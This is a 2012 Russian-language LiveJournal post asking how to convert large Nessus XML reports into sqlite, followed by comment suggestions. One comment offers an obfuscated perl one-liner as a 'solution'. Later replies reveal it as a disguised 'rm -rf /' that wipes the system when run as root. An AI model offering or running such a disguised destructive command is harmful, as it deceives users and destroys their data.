?

Log in

No account? Create an account
XML кунг-фу - Журнал Восставшей Машины [entries|archive|friends|userinfo]
ArkanoiD

[ userinfo | livejournal userinfo ]
[ archive | journal archive ]

XML кунг-фу [Aug. 28th, 2012|06:40 pm]
ArkanoiD
Тут как-то заезжий гастролер показывал мне очень сильное кунг-фу с помощью MS Excel, XML data import и Pivot tables, как взять, скажем, ебанистического размера отчет Nessus'а и сделать из него что-нибудь полезное. Ну, гастролер уехал, а я в MS Office-то ни бумбум, решил попробовать; что ж, видимо, далек я от Дао, потому что Excel у меня тупо падает на этапе создания схемы, а все вокруг говорят "это нормально, он всегда тут падает" (а у него была какая-то бета-превью, которая у меня точно нигде не запустится).

Однако, кунг-фу мне понравилось, потому что ебля с CSV/grep/awk и прочим, чем я занимался по-старинке уже порядком поднадоела -- съедет где-нибудь экранирование перевода строки или закрывающей кавычки и вот сразу куча радости.

Это я к чему -- может, можно как-нибудь попроще? Но визуальная тулза "возьми XML и сделай из него какой-нибудь sqlite" в качестве первого этапа нужна. Что посоветуете?
linkReply

Comments:
[User Picture]From: _slw
2012-08-28 10:58 am (UTC)
потому что надо perl использовать а не гланды автогеном пытаться удалять.
(Reply) (Thread)
[User Picture]From: puremind
2012-08-28 11:03 am (UTC)
можно еще python
(Reply) (Parent) (Thread)
[User Picture]From: develop7
2012-08-28 12:09 pm (UTC)
как именно «использовать»?
(Reply) (Parent) (Thread)
[User Picture]From: css3
2012-08-28 01:20 pm (UTC)
ясное дело как - парсеры писать

хех, я таких парсеров на пхп написал наверно штук 50 для разных типов данных.

в этом методе все хорошо, кроме того, что написать полностью универсальный парсер слишком геморно, а если делать по быстрому, то придется каждый раз немного править код. А это бывает проблемно, когда открываешь парсер 3-ех летней давности :)
плюс нужна среда, компилятор и т.п.
(Reply) (Parent) (Thread)
[User Picture]From: shaman007
2012-08-28 01:24 pm (UTC)
Да, я уже для Арканоида написал программу на perl, которая решает его проблему, вот она:

perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

(Reply) (Parent) (Thread)
[User Picture]From: css3
2012-08-28 01:27 pm (UTC)
хаха

"если у вас есть проблема и вы собираетесь решить ее с помощью регулярного выражения, то у вас теперь две проблемы"
(Reply) (Parent) (Thread)
[User Picture]From: shaman007
2012-08-28 01:33 pm (UTC)
Данная программа решает все проблемы, если от рута.
(Reply) (Parent) (Thread)
[User Picture]From: _slw
2012-08-28 02:56 pm (UTC)
больно на rm -rf / похоже
(Reply) (Parent) (Thread)
[User Picture]From: amavlyanov
2012-08-28 02:58 pm (UTC)
это оно и есть. просто классика! :)
(Reply) (Parent) (Thread)
[User Picture]From: _slw
2012-08-28 03:04 pm (UTC)
я и говорю -- больно код знакомый!
(Reply) (Parent) (Thread)
[User Picture]From: viliar
2012-08-29 03:23 am (UTC)
Опять! Опять я на этом попался! блджд!
(Reply) (Parent) (Thread)